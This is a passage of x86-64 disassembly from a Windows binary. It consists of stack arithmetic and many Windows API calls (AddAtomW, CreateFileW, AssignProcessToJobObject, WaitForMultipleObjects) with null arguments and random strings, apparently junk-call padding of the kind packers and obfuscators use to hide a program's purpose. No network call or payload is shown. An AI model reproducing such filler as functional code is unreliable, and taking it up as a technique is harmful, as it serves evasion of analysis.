mov rcx, qword [rsp + 0x8848]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8a48], rax
mov rax, qword [rsp + 0x9008]
mov rax, qword [rax]
mov qword [rsp + 0xad20], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xad28], rax
movzx eax, word [rsp + 0x974]
movzx ecx, word [rsp + 0xde4]
sub eax, ecx
mov word [rsp + 0x6ec], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
lea rax, [rsp + 0x464c]
mov qword [rsp + 0xad30], rax
movsx eax, byte [rsp + 0x18b]
movsx ecx, byte [rsp + 0x16a]
sub eax, ecx
mov rcx, qword [rsp + 0x99d8]
mov byte [rcx], al
lea rcx, [rsp + 0x9740]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf48]
add eax, ecx
mov word [rsp + 0xe70], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
mov rax, qword [rsp + 0x9b70]
mov ecx, dword [0x14022fb5c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44e8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
lea rcx, [rsp + 0x1a948]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac98]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9b68]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x17e1
mov r9d, 0x794
mov r8d, 0x22ad
mov edx, 0x3dd6
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4cc8], eax
lea rcx, str.LwDKrNZ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1370], ax
lea rax, [rsp + 0x48d4]
mov qword [0x14024f198], rax
mov r9d, 0xa54
xor r8d, r8d
lea rdx, [rsp + 0x9e60]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49ac], eax
lea rcx, [rsp + 0x1a8b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x96f8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rcx, [rsp + 0x9810]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x95f0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [0x14024f1c0]
mov byte [rsp + 0x2bb], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x210c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x49d0], eax
lea rdx, [rsp + 0xad38]
mov rcx, qword [rsp + 0x9540]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a50], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
movzx ecx, word [rsp + 0x125c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1374], ax
lea rcx, str.rIUCdLe_4Re6_yvI.Guo
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12d4], ax
movzx eax, word [rsp + 0xf0c]
movzx ecx, word [rsp + 0x1208]
and eax, ecx
mov word [rsp + 0x6fc], ax
mov rax, qword [rsp + 0xa158]
mov rcx, qword [rsp + 0x8980]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xa000], rax
xor r9d, r9d
lea r8, [rsp + 0xa8d8]
mov rdx, qword [rsp + 0x9d00]
mov rcx, qword [rsp + 0xaa78]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c28], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.nIxY173QRW4yAdaPZhZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xad40], rax
lea rdx, [rsp + 0xa7f8]
mov rcx, qword [rsp + 0x9d48]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4960], eax
mov rax, qword [rsp + 0xabc8]
mov rax, qword [rax]
mov qword [rsp + 0xad48], rax
mov rax, qword [rsp + 0xa8b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x283]
sub eax, ecx
mov rcx, qword [rsp + 0x98d0]
mov byte [rcx], al
movsx eax, word [rsp + 0xc50]
movsx ecx, word [rsp + 0xaf4]
cdq
idiv ecx
mov word [rsp + 0xd4c], ax
mov eax, dword [rsp + 0x4af4]
movzx ecx, al
mov eax, dword [0x14022fb68]
sar eax, cl
mov dword [rsp + 0x4140], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xad50], rax
movzx ecx, word [rsp + 0x1150]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1284], ax
movzx ecx, word [rsp + 0x10b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1120], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov r9d, 0x142f
xor r8d, r8d
lea rdx, [rsp + 0xa4d0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49e4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.F5gqnZxIOtLl
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xad58], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x97a0], rax
mov rax, qword [rsp + 0xa868]
mov rcx, qword [rsp + 0x9588]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4b80], eax
movzx eax, byte [rsp + 0x297]
movzx ecx, byte [0x14022133e]
xor eax, ecx
mov byte [0x14024f1f8], al
lea rcx, [rsp + 0x1a918]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0xa480]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x8650]
mov qword [rsp + 0xad60], rax
movzx ecx, word [rsp + 0x103c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1378], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov r9d, 0x1181
xor r8d, r8d
lea rdx, [rsp + 0xa480]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c68], eax
movzx eax, word [rsp + 0x1288]
mov rcx, qword [rsp + 0x9df8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1308], ax
mov rax, qword [0x14022fb60]
mov qword [rsp + 0xad68], rax
mov rax, qword [rsp + 0xa780]
mov rcx, qword [rsp + 0x98a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
lea rcx, [rsp + 0xa388]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa8b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x124]
and eax, ecx
mov byte [rsp + 0x1b4], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
movzx ecx, word [rsp + 0x10b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf6c], ax
movsx eax, word [rsp + 0x998]
mov rcx, qword [rsp + 0x9ad0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcc8], ax
lea rdx, [rsp + 0xa2c0]
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d08], eax
mov edx, 0x5ea
mov rcx, qword [rsp + 0x9e80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a48], eax
mov dword [rsp + 0x21540], 0x11c
mov rax, qword [rsp + 0xa770]
mov rcx, qword [rsp + 0xaa68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4114], eax
lea rax, [rsp + 0x100]
mov qword [rsp + 0xad70], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rcx, qword [rsp + 0x9f90]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r9d, 0x7f9
xor r8d, r8d
lea rdx, [rsp + 0x9ad8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d0c], eax
mov rax, qword [0x14024f200]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa8f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14024f1a2], ax
movzx ecx, word [rsp + 0xf94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfd8], ax
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
lea rcx, str.8fxD0PE
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x137c], ax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x20d60]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4bec], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0x9080]
mov rcx, qword [rsp + 0x82e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xabf8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x285]
mov byte [rsp + 0x2bc], al
mov r9d, 1
lea r8, [rsp + 0xa420]
mov rdx, qword [rsp + 0x9ee0]
mov rcx, qword [rsp + 0xab20]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4d10], eax
mov rcx, qword [rsp + 0xa010]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 0x7f5
xor r8d, r8d
lea rdx, [rsp + 0x9f90]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46f0], eax
lea rcx, str.W31ntQb
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1380], ax
movzx ecx, word [rsp + 0x1294]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfa8], ax
mov rax, qword [0x14024f230]
mov ecx, dword [rsp + 0x470c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4800], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
movzx eax, word [rsp + 0x1288]
mov rcx, qword [rsp + 0x9f60]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf98], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xad78], rax
lea rcx, [rsp + 0xa968]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rdx, [rsp + 0xaa90]
mov rcx, qword [rsp + 0xa328]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4900], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xad80], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
lea rax, [0x14022fb5c]
mov qword [rsp + 0xad88], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x2cca
mov r8d, 0x227c
mov edx, 0x38
mov rcx, qword [rsp + 0x8fa0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4cac], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.9F2d2cj7ekewTzqAk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xad90], rax
movzx ecx, word [rsp + 0x1160]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1238], ax
xor r9d, r9d
lea r8, [rsp + 0x98e8]
mov rdx, qword [rsp + 0xad98]
mov rcx, qword [rsp + 0xa970]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x493c], eax
lea rcx, [rsp + 0xa0d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0x29e]
movsx ecx, byte [rsp + 0x102]
add eax, ecx
mov rcx, qword [rsp + 0xa2a0]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
lea rcx, [0x140232cb8]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x123c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9d90]
movzx eax, word [rax]
mov word [rsp + 0x1384], ax
movzx ecx, word [rsp + 0x11a0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12b0], ax
mov rax, qword [rsp + 0xa5f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8230], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
lea rdx, [rsp + 0x96f8]
mov rcx, qword [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d14], eax
mov rax, qword [rsp + 0x9a38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a4]
imul eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
movzx ecx, word [rsp + 0x1260]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x135c], ax
lea rcx, [rsp + 0x1a3d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xada0], rax
mov rax, qword [rsp + 0xac38]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x465c]
shr eax, cl
mov dword [0x14022fbb8], eax
mov rax, qword [0x14024f1f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeec]
xor eax, ecx
mov word [rsp + 0xd6c], ax
mov rax, qword [rsp + 0xaa58]
mov rcx, qword [rsp + 0xaa20]
mov qword [rsp + 0xada8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xada8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa470]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x11b8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10d0], ax
mov rax, qword [rsp + 0xa570]
mov rax, qword [rax]
mov qword [rsp + 0xadb0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0xa7a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2a8]
or eax, ecx
mov rcx, qword [rsp + 0xa478]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xadb8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0xab60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa8e8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9fe0]
mov word [rcx], ax
mov rcx, qword [rsp + 0xa590]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
lea rax, [rsp + 0x4744]
mov qword [rsp + 0xadc0], rax
mov rax, qword [rsp + 0x9778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48e4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ec0]
mov dword [rcx], eax
lea rax, [rsp + 0x12f8]
mov qword [rsp + 0xadc8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9c20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9730]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [0x14024f240]
mov byte [rcx], al
mov r9d, 0x1687
xor r8d, r8d
lea rdx, [rsp + 0x9c40]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4700], eax
mov rax, qword [rsp + 0x9690]
mov rcx, qword [rsp + 0xa7d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8660], rax
lea rcx, [rsp + 0x9cc0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0xa500]
mov qword [rsp + 0xadd0], rax
mov rcx, qword [rsp + 0xa290]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9f98]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xadd8], rax
movzx ecx, word [rsp + 0x1080]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1148], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
movzx ecx, word [rsp + 0x11b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1388], ax
mov eax, dword [rsp + 0x4024]
mov ecx, dword [rsp + 0x4200]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x46c4], eax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x20b20]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4914], eax
movsx eax, word [rsp + 0xfe8]
mov rcx, qword [rsp + 0x93c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9dc], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xfa0
mov r9d, 0x1201
mov r8d, 0x1de7b1aa
mov edx, 2
mov rcx, qword [rsp + 0x9ab8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4a9c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xade0], rax
mov rax, qword [rsp + 0xa378]
mov rcx, qword [rsp + 0x99b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9708]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9ba8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x154]
mov qword [rsp + 0xade8], rax
lea rcx, [rsp + 0xa610]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
lea rcx, [rsp + 0x1a978]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x2a1]
mov rcx, qword [rsp + 0x9b68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x274], al
lea rax, [rsp + 0x1030]
mov qword [0x14024f190], rax
mov eax, dword [rsp + 0x43a8]
mov ecx, dword [rsp + 0x48cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bb0], eax
lea rax, [rsp + 0x12f8]
mov qword [rsp + 0xadf0], rax
movzx ecx, word [rsp + 0x1324]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10c8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x10d]
sub eax, ecx
mov byte [rsp + 0x2a9], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xfdc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1298], ax
movzx eax, word [rsp + 0x984]
mov word [rsp + 0x138c], ax
mov r9d, 0x1ee7
xor r8d, r8d
lea rdx, [rsp + 0xad80]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4ad8], eax
mov rax, qword [rsp + 0xa6f8]
mov rcx, qword [rsp + 0xaa98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4928], eax
mov dword [rsp + 0x21660], 0x11c
movsx eax, byte [rsp + 0x271]
mov rcx, qword [rsp + 0xa588]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8f98]
mov byte [rcx], al
movzx eax, word [rsp + 0xf00]
mov word [rsp + 0x1390], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov eax, dword [rsp + 0x40d4]
mov rcx, qword [rsp + 0xaa70]
mov qword [rsp + 0xadf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xadf8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x41a8], eax
mov dword [rsp + 0x20], 0x7c
mov r9d, 0x3b8e
mov r8d, 0xacc
mov edx, 0x3cae
mov rcx, qword [rsp + 0xa8a8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4cb8], eax
lea rcx, str.pSwW.LT_xn2b.WOf
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1394], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
movzx ecx, word [rsp + 0x133c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10b0], ax
mov rax, qword [0x14024f240]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a68]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14024f1c0], al
lea rax, [rsp + 0x7cb8]
mov qword [rsp + 0xae00], rax
mov rax, qword [rsp + 0xa598]
mov rcx, qword [rsp + 0xa570]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa910]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9e88]
mov rcx, qword [rsp + 0x9df0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xac20]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xae08], rax
movzx eax, byte [rsp + 0x2bc]
mov rcx, qword [rsp + 0xa750]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0x8f10]
mov rcx, qword [rsp + 0xa3b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xace8]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rcx, qword [rsp + 0x9a30]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0xae10]
mov rcx, qword [rsp + 0xa3d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x493c], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rcx, qword [rsp + 0x9650]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4cf4], eax
mov rax, qword [rsp + 0xab30]
movzx eax, word [rax]
mov word [rsp + 0x1398], ax
xor r9d, r9d
lea r8, [rsp + 0x97d8]
mov rdx, qword [rsp + 0xad38]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x99d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9528]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa450]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov r9d, 0x18b2
xor r8d, r8d
lea rdx, [rsp + 0x9728]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b2c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.r8P98ljdZrVBz21Y4xBR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xae18], rax
movzx ecx, word [rsp + 0x10f0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11c0], ax
lea rcx, [rsp + 0x1a858]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x4af4]
mov qword [rsp + 0xae20], rax
lea rdx, [rsp + 0xaa90]
mov rcx, qword [rsp + 0xa300]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d1c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea rcx, [rsp + 0x1a4f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x4a0c]
mov qword [0x14024f188], rax
movzx eax, word [rsp + 0xfb8]
movzx ecx, word [rsp + 0x1138]
and eax, ecx
mov rcx, qword [rsp + 0xaad8]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xae28], rax
movzx eax, word [rsp + 0xc20]
movzx ecx, word [0x14024f394]
imul eax, ecx
mov rcx, qword [rsp + 0x9df8]
mov word [rcx], ax
mov eax, dword [rsp + 0x4768]
mov ecx, dword [rsp + 0x3f04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4540], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movzx ecx, word [rsp + 0x1014]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11cc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x29d]
movzx ecx, byte [rsp + 0x280]
sub eax, ecx
mov rcx, qword [rsp + 0x9a38]
